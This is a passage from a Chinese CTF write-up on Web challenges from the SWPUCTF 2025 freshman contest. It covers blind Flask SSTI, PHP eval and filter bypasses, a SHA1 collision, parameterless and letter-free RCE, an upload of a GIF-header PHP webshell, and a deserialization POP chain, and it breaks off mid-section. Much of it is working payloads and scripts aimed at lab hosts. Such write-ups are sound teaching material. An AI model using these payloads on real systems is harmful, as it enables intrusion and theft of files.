SWPUCTF 2025 秋季新生赛 Web 方向全部 8 道题解:从 SSTI 盲打到无字母数字 RCE,从反序列化全家桶到 SQL 注入 UDF 提权,一篇文章全收录。

目录

    1. 诚实大厅(SSTI 盲打)
    1. 我是复读机(Flask SSTI)
    1. DANGEROUS TRIAL(史莱姆四关)
    1. 光能族,哎呀(文件上传)
    1. FIRST MEETING(反序列化全家桶)
    1. php命令执行(无字母数字 RCE)
    1. sql仅仅只是sql吗(SQL注入+UDF提权)
    1. Punishing(战双帕弥什)

诚实大厅(SSTI 盲打)

题目主题:诚实大厅(”兄弟 GET ssti”)
考点:SSTI 盲打(无回显 + 不出网 + 严格过滤)→ RCE → 写文件外带


题目描述

页面提示:”兄弟 GET ssti”,参数为 ssti(GET),搜索框实际无回显。

题目分析

  1. 参数:?ssti=xxx(GET)
  2. 无回显:{{7*7}} 页面无变化 → 盲打题
  3. 有过滤:部分关键词返回 400
  4. 不出网:不能外带数据

解决思路

1
Fuzz 黑名单 → 构造绕过链(attr + 字符串拼接)→ 时间盲注确认 RCE → 写静态目录读 flag

解决过程

① Fuzz 黑名单(Burp Intruder / 脚本批量测)

1
2
3
4
5
6
import requests
url = 'http://node1.anna.nssctf.cn:29371/'
payloads = ['{{config}}', '{{request}}', '{{os}}', '{{popen}}', ...]
for p in payloads:
r = requests.get(url, params={'ssti': p})
print(p, r.status_code) # 400=被过滤 200=可用

黑名单结果

被过滤(400) 可用(200)
. [ url_for self g
config request lipsum os popen read
class globals dict 引号、数字、|
builtins import eval exec |attr()

② 构造绕过链

.[ 被过滤 → 用 Jinja2 的 |attr() 过滤器:
globals 被过滤 → 字符串拼接 '__glo''bals__'

1
{{url_for|attr('__glo''bals__')|attr('get')('os')|attr('po''pen')('命令')|attr('read')()}}

每个组件

  • url_for → Flask 全局函数(其 globals 里有 os)
  • attr('__glo''bals__') → 取 globals(拼接绕过过滤)
  • attr('get')('os') → 字典取 os 模块
  • attr('po''pen')('命令') → os.popen 执行命令
  • attr('read')() → 读取输出

③ 时间盲注确认 RCE

1
{{url_for|attr('__glo''bals__')|attr('get')('os')|attr('po''pen')('sleep 3')|attr('read')()}}

结果:基线 0.13s → sleep 测试 3.15s ✅ RCE 确认!

④ 写静态目录读 flag(无回显不出网解法)

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://node1.anna.nssctf.cn:29371/'

def exec_cmd(cmd):
payload = f"{{{{url_for|attr('__glo''bals__')|attr('get')('os')|attr('po''pen')('{cmd}')|attr('read')()}}}}"
requests.get(url, params={'ssti': payload}, timeout=8)

exec_cmd('echo MARKERXY > /app/static/xyz123')

exec_cmd('cat /flag > /app/static/f1')

结果

1
NSSCTF{557188c9-ab53-418c-981c-db8d3cf324b5}

新学知识

考点 要点
Blind SSTI 无回显 → 时间盲注 / 写文件外带
Fuzz 黑名单 批量测词 → 400=拦 200=过
attr() 过滤器 替代被过滤的 .[
字符串拼接 'glo''bals' = 'globals' 绕过关键词过滤
globals 函数全局命名空间(藏着 os)
写文件外带 结果写到可访问目录再读取

盲打 SSTI 三板斧

1
2
3
1. 时间盲注确认 RCE(sleep)
2. 找可写可访问目录(写标记验证)
3. cat /flag > 静态目录 → 浏览器读


我是复读机(Flask SSTI)

超级地球真理部收到了某城沦陷前最后发出的情报。找到里面隐藏的flag,支援我们在仰齐滨的作战。
考点:PHP 字符串自增 + 注释截断绕过 + SHA1 碰撞


题目分析

进去无法直接查看源码 也不能直接使用F12,先扫一遍目录看其他东西(或直接访问 ?one=1 触发源码显示)。

题目代码(highlight_file 显示):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
include 'jeer.php';
highlight_file(__FILE__);
error_reporting(0);
$A = 0; $B = 0; $C = 0;

// 第一关
if (isset($_GET['one'])){
$str = $_GET['str'] ?? '0';
$add = substr($str, 0, 1);
$add++;
if (strlen($add) > 1 ) { $A = 1; }
}

// 第二关
if (isset($_GET['two'])){
$comment = $_GET['comment'] ?? 'echo(114514)';
if (!preg_match('/(|;| |\$|~|\#|`|\'|\"|\*|?|<|>|\r|\n|\^)/i', $comment) && strlen($comment) < 20) {
eval('$B = 1;'.$comment.';echo $two;die();');
}
}

// 第三关
if (isset($_GET['three'])){
if (isset($_POST['one'])&&isset($_POST['two'])){
$a1=(string)$_POST['one'];
$a2=(string)$_POST['two'];
if ($a1 !== $a2 && sha1($a1) === sha1($a2)){ $C = 1; }
}
}

if ($A == 1 && $B == 1 && $C == 1){
echo file_get_contents($_POST['file']);
}
?>

解决思路

三关分别绕过:

  1. 第一关:PHP 字符串自增特性
  2. 第二关:eval 拼接 + 注释截断(提示:”把1给你了,注释都不会吗”)
  3. 第三关:SHA1 真实碰撞(SHAttered)

解决过程

第一关:字符串自增

1
2
3
$add = substr($str, 0, 1);
$add++;
if (strlen($add) > 1) { $A = 1; }

PHP 特性'z'++ = 'aa'(字母自增溢出),'9'++ = 10

1
2
GET 参数: one=1&str=z
'z'++ → 'aa' → strlen=2 > 1 ✅

第二关:注释截断绕过

1
eval('$B = 1;'.$comment.';echo $two;die();');

提示:”第二关我都把1给你了,注释都不会吗?” → 用注释!

黑名单过滤了 ( ; 空格 $ ~ # 引号等,/ 没被过滤

1
2
3
4
5
GET 参数: two=1&comment=//

eval('$B = 1;//;echo $two;die();')
↑ $B=1 保留,// 注释掉后面
✅ $B = 1

第三关:SHA1 碰撞(SHAttered)

1
2
3
$a1=(string)$_POST['one'];
$a2=(string)$_POST['two'];
if ($a1 !== $a2 && sha1($a1) === sha1($a2)){ $C = 1; }

数组绕过无效((string) 强转成 “Array” 相等)。用真实 SHA1 碰撞对

1
2
curl -o shattered-1.pdf https://shattered.io/static/shattered-1.pdf
curl -o shattered-2.pdf https://shattered.io/static/shattered-2.pdf

最终 Payload

1
2
3
4
5
GET: ?one=1&str=z&two=1&comment=//&three=1
POST (multipart, 字段不带 filename 才进 $_POST):
one = shattered-1.pdf 内容
two = shattered-2.pdf 内容
file = flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://目标/?one=1&str=z&two=1&comment=//&three=1"

def build_multipart(fields):
boundary = "----BOUNDARY"
body = b""
for name, value in fields.items():
body += f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"\r\n\r\n'.encode()
body += value if isinstance(value, bytes) else str(value).encode()
body += b"\r\n"
body += f"--{boundary}--\r\n".encode()
return body, boundary

with open("shattered-1.pdf", "rb") as f1, open("shattered-2.pdf", "rb") as f2:
body, boundary = build_multipart({
"one": f1.read(),
"two": f2.read(),
"file": "flag.php",
})
r = requests.post(url, data=body,
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"})
print(r.text) # 🚩

结果

1
NSSCTF{...}

新学知识

考点 要点
PHP 字符串自增 'z'++ = 'aa'(长度变化触发条件)
eval 注释截断 拼接的 eval 用 // 注释掉后面的代码
正则黑名单绕过 注意哪些字符被过滤(/ 可用)
SHA1 碰撞 SHAttered:真实碰撞对(!==+=== 严格比较下只能上碰撞)
multipart 陷阱 字段带 filename 进 $_FILES;不带才进 $_POST


DANGEROUS TRIAL(史莱姆四关)

题目主题:史莱姆四关闯关(”关于我转生成为ctf勇者这件事”,萌王 rimuru)
考点:XOR 登录加密 + intval 类型混淆 + data:// 协议 + base64 + 无参数函数 RCE + PHP 变量名点号转换绕过


题目描述

登录后进入四关 PHP 关卡,每关一个判断,全过 → eval 执行(RCE)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 第一关:intval 类型混淆
$raw = $_GET['cat'] ?? '';
if (intval($raw) === 114514 && $raw !== '114514') { } else { die("抱歉勇士,闯关失败"); }

// 第二关:Slime 参数必须以 XJ1 结尾
$pt = $_GET['Slime'] ?? '';
if (substr($pt, -3) !== 'XJ1') { die("成功进入洞穴,但是怪物呢??"); }

// 第三关:文件内容 trim 后 = "rimuru"
$data = @file_get_contents($pt);
if (trim($data) !== "rimuru") { die("你看到怪物了快攻击他!"); }

// 第四关:无参数函数 RCE
$code = $_POST['NSS_CTF.LOVE'] ?? '';
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)) {
eval($code); echo "成功捕获一只史莱姆!<br>";
} else { die("你不是怪物的对手~"); }

题目分析

  1. 登录加密:登录页 JS 用 XOR + base64 加密后再提交
  2. 动态 path:登录成功后 302 重定向分配新 path(每次会话不同!)
  3. 四关:类型混淆 → 协议构造 → 文件内容控制 → 无参数 RCE
  4. 参数名陷阱NSS_CTF.LOVE 含点号,PHP 会转成下划线!

解决思路

1
登录(XOR加密提交)→ 拿动态 path → 四关逐一突破 → 点号绕过 → 无参数 RCE → flag

解决过程

① 登录:XOR 加密

登录页 JS:

1
2
3
4
5
6
7
8
const key = 0xAA;
function xorEncrypt(str) {
let encrypted = '';
for (let i = 0; i < str.length; i++) {
encrypted += String.fromCharCode(str.charCodeAt(i) ^ key);
}
return btoa(encrypted); // XOR 0xAA 后 base64
}

复现加密adminy87Hw8Q=123456m5iZnp+c

1
2
3
4
5
6
import base64
def xor_encrypt(s):
return base64.b64encode(bytes([ord(c) ^ 0xAA for c in s])).decode()

r = s.post(f'{BASE}/index.php', data={'username': xor_encrypt('admin'),
'password': xor_encrypt('NSSLOVE')})

💡 知识点:XOR 加密

  • XOR 异或:A ^ B = C,再 C ^ B = A(对称)
  • 固定密钥 0xAA:charCode ^ 0xAA 加密,服务器同样方式解密
  • 致命点:密钥和算法都在前端 → 完全可复现

💡 知识点:动态 path

  • 登录成功返回 302 + Location: /index.php?path=随机值
  • path 每次会话不同,必须跟随重定向(用 allow_redirects=False 提取)

② 第一关:intval 类型混淆

1
if (intval($raw) === 114514 && $raw !== '114514')

解法cat=114514abc

  • intval('114514abc') → 解析到非数字停止 → 114514
  • '114514abc' !== '114514'(字符串不相等)✓

💡 知识点:intval 类型混淆

  • intval() 会从字符串开头解析数字,遇非数字停止
  • 强比较 === 要求两边类型和值都相同,但 intval 已经转成 int
  • 变体:114514e0114514.0114514/1114514abc

③ 第二三关:data:// 协议 + base64

要求:SlimeXJ1 结尾,且 file_get_contents(Slime) 内容 trim 后 = rimuru

注释提示//base64_encode("rimuru")???base64_encode("rimuru") = "cmltdXJ1"

解法Slime=data://text/plain;base64,cmltdXJ1

  • base64("rimuru") = "cmltdXJ1" —— 最后 3 个字符恰好是 XJ1
  • data://text/plain;base64,XXX → file_get_contents 解码得到 rimuru
  • URL 以 XJ1 结尾 ✓,内容 = rimuru

💡 知识点:data:// 协议

  • data://text/plain,内容 → 直接返回文本内容
  • data://text/plain;base64,xxx → base64 解码后返回
  • 用于满足 file_get_contents 的内容要求(无需真实文件)

⚠️ 踩坑:URL 里的 //; 会被 HTTP 解析破坏 → 必须 URL 编码(用 requests 的 params= 自动编码,或手动 data%3A%2F%2F...

④ 第四关:无参数函数 RCE

1
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)) { eval($code); }

正则含义:匹配所有”函数调用”(函数名(参数),参数可递归)并删除 → 剩余必须是 ;
$code 只能由”无参函数调用”和 ; 组成(不能有变量/字符串/运算符)

解法

1
2
POST: NSS[CTF.LOVE=eval(end(current(get_defined_vars())));
GET: ?...&x=system('cat /flag');
  • get_defined_vars() → 返回所有已定义变量($_GET 是第一个)
  • current() → 取第一个($_GET 数组)
  • end() → 取 $_GET 的最后一个元素(我放在最后的 x 参数
  • eval() → 执行它!

💡 知识点:无参数函数 RCE 原理

  • 正则只允许”无参数函数调用” → 用函数链”无中生有”拿到参数
  • 经典链:eval(end(current(get_defined_vars()))) / eval(end(getallheaders()))
  • getallheaders() 陷阱:end() 会取到服务器自动加的 Content-Length(不是你的头)→ 优先用 get_defined_vars

其他常见无参 RCE 链

参数来源
eval(end(current(get_defined_vars()))) GET/POST 变量
eval(end(getallheaders())) HTTP 头(注意顺序)
eval(pos(array_reverse(getallheaders()))) 反转后取第一个头
system(getenv(HTTP_A)) 自定义头变环境变量(无 $ 版本)

⑤ 点号绕过(关键!)

源码取 $_POST['NSS_CTF.LOVE'],但直接提交 NSS_CTF.LOVE 会失败

原因:PHP 会把请求参数名里的 . 转成下划线 _

  • 提交 NSS_CTF.LOVE → PHP 解析为 NSS_CTF_LOVE → 源码取不到!

解法(PHP < 8 特性)NSS[CTF.LOVE=xxx

  • 参数名里的 [ 先出现并转为 _ 后,后续的 . 不再转换(解析中断)
  • NSS[CTF.LOVE → 解析结果 NSS_CTF.LOVE

💡 知识点:PHP 变量名转换规则

规则 说明
. / 空格 → _ NSS_CTF.LOVENSS_CTF_LOVE
[_中断转换 NSS[CTF.LOVENSS_CTF.LOVE(PHP < 8)
PHP 8 已修复 所有非法字符一律转 _

实测验证(PHP 7.3):

1
2
// 提交 NSS[CTF.LOVE=test123
$_POST = ['NSS_CTF.LOVE' => 'test123']; // ✓ 取到了!

最终 payload

1
2
3
4
1. POST /index.php(无 path): username=<XOR加密> & password=<XOR加密> → 302 拿 path
2. POST /index.php?path=动态&cat=114514abc&Slime=data://text/plain;base64,cmltdXJ1
POST body: NSS[CTF.LOVE=eval(end(current(get_defined_vars())));
GET 参数: ...&x=system('cat /flag');

结果

1
NSSCTF{96b33a9e-6934-42e8-9706-407c7ed3ce5a}

新学知识

考点 要点
XOR 加密 固定密钥 XOR + base64,前端算法可复现
intval 类型混淆 数字开头字符串 + 强比较
data:// 协议 data://text/plain;base64,xxx 控制 file_get_contents 内容
base64 巧合 base64(“rimuru”)=”cmltdXJ1” 末尾正好 XJ1(注释提示)
无参数 RCE get_defined_vars() → current() → end() → eval()
点号转下划线 PHP 变量名转换;[ 中断转换绕过(PHP<8)
动态 path 登录 302 分配新 path,必须跟随


光能族,哎呀(文件上传)

题目主题:向超级驱逐舰发送增援指令(绝地潜兵 Helldivers 题材)
考点:前端 RC4 签名机制 + MD5 签名伪造 + 扩展名黑名单绕过(phtml)+ 图片马 + MIME 伪造


题目描述

上传页面(”↑ → ↓ ↓ ↓” 增援指令),只允许 JPG/PNG,上传时前端计算 sign 签名,服务端校验后才保存文件。

题目分析

  1. 前端加密:上传前 JS 用 RC4 + MD5 生成签名
  2. 密钥泄露SECRET_KEY = "monika creambread" 硬编码在前端 JS
  3. 保存名随机uploads/<16位随机hex>.<扩展名>(无法预测)
  4. 响应回显路径:上传成功返回 已保存: uploads/xxx.jpg

解决思路

1
看前端 JS 找密钥 → Python 复现签名算法 → 探测后端校验规则 → 发现黑名单 → phtml 绕过 → 上传 webshell → RCE

解决过程

① 侦察:前端源码泄露密钥

F12 查看 JS,发现关键代码:

1
2
3
4
5
6
7
8
// 密钥硬编码在前端!!(任何攻击者都能看到)
const SECRET_KEY = "monika creambread";

// 签名 = RC4(SECRET, MD5(文件名).hex转字节) 的hex + MD5(文件内容)
const name_md5 = await calcMd5(file); // 实际是 MD5(文件内容)
const content_md5 = await calcMd5(file.name); // 实际是 MD5(文件名)
const rc4Bytes = rc4(strToBytes(SECRET_KEY), hexToBytes(content_md5));
form.append('sign', rc4Hex + name_md5);

💡 核心知识点:前端加密 = 纸老虎

  • 一切在前端浏览器里运行的逻辑,攻击者都可以用 Python/curl 完全复现
  • 签名机制本意是”只有授权客户端能上传”,但密钥写在 JS 里 = 形同虚设

② 复现签名算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib

def rc4(key_bytes, data_bytes):
S = list(range(256))
j = 0
for i in range(256): # KSA 密钥调度
j = (j + S[i] + key_bytes[i % len(key_bytes)]) & 0xff
S[i], S[j] = S[j], S[i]
i = j = 0
out = bytearray()
for k in range(len(data_bytes)): # PRGA 伪随机生成
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
out.append(data_bytes[k] ^ S[(S[i] + S[j]) & 0xff])
return bytes(out)

def calc_sign(filename, content):
content_md5 = hashlib.md5(filename.encode()).hexdigest() # MD5(文件名)
rc4_enc = rc4(b"monika creambread", bytes.fromhex(content_md5))
return rc4_enc.hex() + hashlib.md5(content).hexdigest() # RC4密文hex + 内容MD5

💡 知识点:RC4 流密码

  • RC4 = 用密钥生成伪随机密钥流,与明文逐字节异或
  • 加密/解密是同一操作(密文 = 明文 XOR 密钥流
  • 这里密钥流由 "monika creambread" 生成,加密对象是文件名 MD5 的 16 字节

③ 探测后端校验规则(黑盒方法论)

测试 结果 推断
test.jpg + MIME image/jpeg ✅ 保存 hash.jpg 基准
test.txt 光能族干扰... 校验扩展名
无 MIME ❌ 拒绝 校验 MIME
shell.png + MIME image/png ✅ 成功 MIME 可伪造
shell.php + MIME ❌ 拒绝 黑名单?
shell.php5 + MIME ❌ 拒绝 黑名单含 php5
x.phtml + MIME ✅ 保存 hash.phtml phtml 漏网!!

💡 知识点:报错信息分类推断逻辑

  • 签名错误 → 签名校验失败!侦测发现光能族 ↑ → ↓ ↓ ↓(独立报错)
  • 扩展名/MIME 错误 → 光能族干扰了我们的通讯...(统一报错)
  • 通过报错差异,可以判断”有几层校验、分别是什么”

💡 知识点:黑名单 vs 白名单

1
2
白名单(安全): 只允许 jpg/jpeg/png → 其他全部拒绝
黑名单(危险): 禁止 php/php5 → 其他全部放行!

这题是黑名单:禁了 phpphp5,但漏了 phtml。判断方法:边界扩展名能过 = 黑名单

💡 知识点:PHP 可解析扩展名全家桶

1
.php  .php3  .php4  .php5  .php7  .phtml  .pht  .phar  .inc

服务器配置了哪些能解析取决于 Nginx/PHP-FPM 配置,做题逐个试

④ 构造图片马

1
2
3
content = b'GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff' \
b'!\xf9\x04\x01\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00' \
b'\x02\x02D\x01\x00;' + b'<?php system($_GET[c]);?>'

上传 x.phtml + image/jpeg → 返回 已保存: uploads/9f979a73e5835462.phtml

💡 知识点:图片马

  • 合法图片头 + 恶意代码,绕过”必须是图片”的内容校验
  • GIF 头 GIF89a 最短最常用;PNG 头 \x89PNG\r\n\x1a\n

⑤ 访问执行

1
curl "http://.../uploads/9f979a73e5835462.phtml?c=cat+/flag"

响应头 X-Powered-By: PHP/7.3.33确认被 PHP-FPM 解析 → RCE!

💡 知识点:响应头判断解析

  • X-Powered-By: PHP/... = 请求经过 PHP 处理(非 Nginx 静态文件)

结果

1
NSSCTF{b1474909-9f02-404c-9fc3-8412a3f82b38}

新学知识

考点 要点
前端签名 一切前端逻辑可复现,密钥硬编码 = 无认证
RC4 流密码:密钥流 XOR 明文;加解密同操作
黑名单 vs 白名单 边界扩展名能过 = 黑名单
phtml 绕过 PHP 可解析扩展名全家桶逐个测
MIME 伪造 requests 里指定 content_type 即可
图片马 合法图片头 + PHP 代码
黑盒测试 报错差异 + 单变量对照实验

上传题通用检查清单

1
2
3
4
5
6
1. 看前端源码(加密/密钥/校验逻辑)
2. 复现签名/绕过前端
3. 扩展名:双扩展/大小写/特殊字符/PHP全家桶/.htaccess/.user.ini
4. MIME 伪造
5. 内容校验:图片马 / 二次渲染
6. 解析漏洞:Nginx fix_pathinfo / Apache 多后缀


FIRST MEETING(反序列化全家桶)

题目主题:PHP 反序列化全家桶(WEB → REVERSE → PWN → MISC → CRYPTO 五类连环)
考点:五大魔术方法 + POP 链构造 + md5 弱比较(0e)+ 序列化引用(& / R:)+ SplFileObject 读文件 + private/protected 序列化格式


题目描述

1
2
$NSS = $_POST["NSS"];
unserialize($NSS); // 入口:反序列化用户输入

五个类(WEB/REVERSE/PWN/MISC/CRYPTO)各有一个魔术方法,需要串成链。

题目分析

魔术方法 触发条件 动作
WEB __destruct 对象销毁 echo $sauy(字符串化对象)
PWN __toString 对象转字符串 wings 检查 → 调不存在方法
REVERSE __call 调不存在方法 md5 弱比较 → ($acc)()
MISC __invoke 对象当函数 给不可访问属性赋值
CRYPTO __set 赋不可访问属性 new $kyarihoshi($rocage)

解决思路

1
2
反序列化 → WEB::__destruct → PWN::__toString → REVERSE::__call(md5碰撞)
→ MISC::__invoke → CRYPTO::__set(引用trick) → new SplFileObject('/flag') → echo 输出 flag

解决过程

① 构造 POP 链(从出口反向设计)

出口CRYPTO::__set 里的 echo "$kiss" → 如果能 new SplFileObject('/flag') → echo 输出文件内容!

反向推触发链

1
2
3
4
5
6
要让 CRYPTO::__set 触发
← MISC::__invoke 给 cr4p->png 赋值(png 属性不存在)
← REVERSE::__call 调用 ($this->acc)()(acc = MISC 对象)
← PWN::__toString 调用 $c0trick->MinatoNamikaze()(不存在的方法)
← WEB::__destruct echo $sauy(sauy = PWN 对象)
← unserialize 后对象销毁(自动)

💡 知识点:POP 链构造方法论

  • 从出口反推:找 sink(echo/eval/system/文件操作)→ 找谁调用它 → 找谁调用那个 → … → 入口
  • 每个魔术方法是一级”跳板”,属性完全可控 = 链可自由编排

② 每段链的绕过

段 1:WEB::__destruct → PWN::__toString

1
class WEB { private $sauy; public function __destruct() { echo $this->sauy; } }

$sauy = PWN 对象echo $sauy → PWN 没有 __toString 吗?有!→ 触发

段 2:PWN::__toString

1
if ($this->wings === 'SHENG-YI') { $this->c0trick->MinatoNamikaze(); }

$wings = 'SHENG-YI'(字符串强比较);$c0trick = REVERSE 对象 → 调 MinatoNamikaze(不存在)→ 触发 __call

段 3:REVERSE::__call(md5 弱比较)

1
if (md5($this->harukaze) == md5($this->ysyy)) { ($this->acc)(); }

$harukaze$ysyy0e 魔法字符串

  • md5('QNKCDZO') = 0e830400451993494058024219903391
  • md5('240610708') = 0e462097431906509019562988736854
  • == 弱比较:0e... = 科学计数法 0×10^x = 00 == 0

💡 知识点:md5 弱比较(== vs ===)

  • ==:只比较值,自动类型转换 → "0e123" == "0e456" = 0 == 0 = true
  • ===:类型+值都相同 → 碰撞无效
  • 常见 0e 字符串:QNKCDZO240610708s878926199as155964671as214587387a
  • 防御:必须用 === + 二进制安全比较

段 4:MISC::__invoke → CRYPTO::__set

1
2
class MISC { public function __invoke() { $this->cr4p->png = '010'; } }
class CRYPTO { public function __set($a, $b) { ... } }

$cr4p = CRYPTO 对象 → 给 png 赋值(CRYPTO 没有 png 属性)→ 触发 __set

💡 知识点:__set 触发条件

  • 不存在不可访问(private/protected)的属性赋值时触发
  • 常见场景:$obj->png = '010' 里 png 不是类的属性

段 5:CRYPTO::__set(引用 trick,核心)

1
2
3
4
5
public function __set($a, $b){
$this->dance = md5(rand(1, 10000)); // 随机值!
if ($this->last === $this->dance) { // 强比较随机值??
$kiss = new $this->kyarihoshi($this->rocage);
echo "$kiss<br>";

last === dance 要求相等,但 dance 是 md5(rand(1,10000)) 随机值 → 无法预测

解法:序列化引用(注释提示 “find the trick”)

1
2
3
$crypto->dance = 'x';
$crypto->last = &$crypto->dance; // PHP 引用!
// serialize 自动生成: s:4:"last";s:1:"x";s:5:"dance";R:4;

反序列化后 last 和 dance 指向同一块内存__set$this->dance = md5(...) 赋值时,last 同步更新last === dance 恒成立 ✓

💡 知识点:序列化引用(R:)

  • PHP 序列化里 R:N = 引用第 N 个已出现属性(r:N = 弱引用)
  • 用于绕过 === 强比较(两个变量共享同一 zval)
  • 必须用 PHP 的 & 引用让 serialize 自动生成(手工写 R: 编号极易错)

③ 终点:SplFileObject 读文件

1
2
$kiss = new $this->kyarihoshi($this->rocage);   // 类名和参数都可控!
echo "$kiss<br>";

$kyarihoshi = ‘SplFileObject’$rocage = ‘/flag’

  • new SplFileObject('/flag') → 打开 flag 文件
  • echo $kiss → SplFileObject 继承 SplFileInfo 有 __toString输出文件第一行内容

💡 知识点:PHP 内置类利用

  • SplFileObject($path):读文件(echo 输出第一行)
  • SoapClient($wsdl):SSRF(触发 __call 时发请求)
  • SimpleXMLElement($xml):XXE
  • PharData($file):phar 反序列化
  • DirectoryIterator($path):列目录

④ 序列化格式陷阱(新手必错)

1
2
3
class WEB { private $sauy; }        // 键名: "\0WEB\0sauy"   → s:10:"\0WEB\0sauy"
class REVERSE { protected $re1sen; } // 键名: "\0*\0re1sen" → s:11:"\0*\0re1sen"
class PWN { public $wings; } // 键名: "wings" → s:5:"wings"

💡 知识点:序列化键名规则

可见性 键名格式 示例
public 原名 s:5:"wings"
private \0类名\0属性名 s:10:"\0WEB\0sauy"
protected \0*\0属性名 s:11:"\0*\0re1sen"

NULL 字节不能丢!bash 显示会删掉 \0,用 Python bytes 传输。

⑤ 生成 payload(完整脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 用 & 引用自动生成 R: 标记
$crypto = new CRYPTO();
$crypto->kyarihoshi = 'SplFileObject';
$crypto->rocage = '/flag';
$crypto->dance = 'x';
$crypto->last = &$crypto->dance; // 引用 trick

$misc = new MISC(); $misc->cr4p = $crypto;
$rev = new REVERSE(); $rev->harukaze = 'QNKCDZO'; $rev->ysyy = '240610708'; $rev->acc = $misc;
$pwn = new PWN(); $pwn->wings = 'SHENG-YI'; $pwn->c0trick = $rev;
$web = new WEB($pwn);

echo serialize($web); // POST 到 NSS 参数

⚠️ 本地调试坑:Windows 没有 /flag → 先 new SplFileObject('flag.txt') 生成,再把序列化里的 s:8:"flag.txt" 替换为 s:5:"/flag"注意同步改长度

最终请求

1
2
3
POST /index.php
NSS = O:3:"WEB":2:{s:10:"\x00WEB\x00sauy";O:3:"PWN":2:{s:5:"wings";s:8:"SHENG-YI";...
...s:13:"SplFileObject";s:6:"rocage";s:5:"/flag";...s:5:"dance";R:12;...}}

结果

1
NSSCTF{acccc7c6-8fca-48fa-beac-b9f2f2b985d0}

新学知识

考点 要点
五大魔术方法 __destruct/__toString/__call/__invoke/__set 触发条件
POP 链 从出口(sink)反向设计触发链
md5 弱比较 0e 魔法字符串,== 自动类型转换
序列化引用 & 引用 → R: 标记,绕过 === 强比较
SplFileObject 内置类读文件,__toString 输出内容
动态实例化 new $classname($arg) 类名/参数完全可控
序列化格式 public/private/protected 键名(\0 字节)
unserialize 入口 用户输入直接反序列化 = 无边界信任

反序列化题通用思路

1
2
3
4
5
1. 找入口:unserialize($_POST/GET/Cookie) / phar:// / session 反序列化
2. 找 sink:echo / eval / system / 文件操作 / new 动态类
3. 找魔法方法:__destruct / __toString / __call / __invoke / __set / __wakeup / __sleep
4. 从 sink 反向拼链,属性全部可控
5. 注意:可见性序列化格式 / __wakeup 绕过(CVE-2016-7124) / 引用 R: / GC 机制


php命令执行(无字母数字 RCE)

题目主题:无字母数字 RCE(eval + 严格过滤)
考点:数组转字符串 + 字符串自增 + 变量变量(${})+ 参数分离 + PHP 解析优先级 + Content-Type 陷阱


题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 200) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\0-9]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
?>

题目分析

① 过滤规则拆解

1
preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\0-9]/", $rce)
被过滤 ❌ 可用 ✅
所有字母 a-zA-Z $ _(下划线)
所有数字 0-9 . , ( ) [ ]
! @ # % ^ & * { } + = ;
' " \ / | ~ < > ? : - 空格、换行

可用字符$ _ . , ( ) [ ] { } + = ; 空格 换行

② 限制条件

  • 长度 ≤ 200(字节)
  • 必须是字符串(不能数组绕过)
  • 最终 eval($rce) 执行

③ 关键点:异或 ^ 和取反 ~ 都被禁!

经典无字母 RCE 三件套:异或(^)、取反(~)、自增(++) —— 前两个被过滤 → 只能自增(++)

解决思路

1
数组转字符串拿 "A" → 自增构造超全局名 "_POST" → 变量变量取出 $_POST → 参数分离调用 system

解决过程

① 验证基本构件(本地 PHP 7.3)

构件 代码 结果 原理
数组转字符串 $_=[].$_; "Array" 数组连接 NULL → 自动转字符串(无引号!
造数字 $_==$_ true=1 变量自比较(无 ! 无数字)
取字符 $_=$_{_}; "A" {_} = 偏移0(_ 常量→0),$str{} 旧式下标
字符串自增 $_++; "A"→"B" PHP 字符串自增特性
变量函数调用 $_="phpinfo";$_(1); ✅ 执行 字符串加括号 = 调用同名函数

💡 知识点:数组转字符串

1
2
3
4
$_=[];            // 空数组
$_=$_.""; // 双引号被过滤 ✗
$_=_ . $_; // 常量 _ → "_" 连接数组 → "_Array"
$_=[].$_; // 数组连接 NULL → "Array"($_ 未定义 = NULL)

PHP 数组转字符串固定为 "Array",其中字符:0='A' 1='r' 2='r' 3='a' 4='y'

💡 知识点:字符串自增(PHP 特性)

1
2
3
"A"++ → "B"      "Z"++ → "AA"(进位)
"a"++ → "b" "ar"++ → "as"(只变最后字符)
"Array"++ → "Arraz"(最后字符 y→z)

利用它从 “A” 一路自增到目标字符(A→O 需要 14 次)。

② 设计目标:构造 $_POST 并调用

1
2
最终调用: $_POST["_"]($_POST["__"])
= system("nl /f*") ← 函数名和命令都从 POST 参数取!

为什么选 _POST:字符 P O S T 都能从 “A” 共享自增链到达(比 _GET 的 T 更近)。

③ 构造 “_POST”(逐步拆解)

1
2
3
4
5
6
7
8
9
$_=[].$_;              // $_ = "Array"
$_=$_{_}; // $_ = "A"(偏移0)
$_++;×14 // A→O(14次自增)
$__=$_; // $__ = "O"(备份)
$___=$__++; // $___ = "O",$__ = "P"(后置自增:先取值再+1)
$_++;×4 // O→S
$____=$_; // $____ = "S"
$_____=++$_; // $_ 先++ → "T",$_____ = "T"(前置自增)
$_=_.$__.$___.$____.$_____; // "_" . "P" . "O" . "S" . "T" = "_POST"

💡 知识点:前置/后置自增的区别

1
2
3
$a = "O";
$b = $a++; // $b = "O",$a = "P"(先取值,再自增)
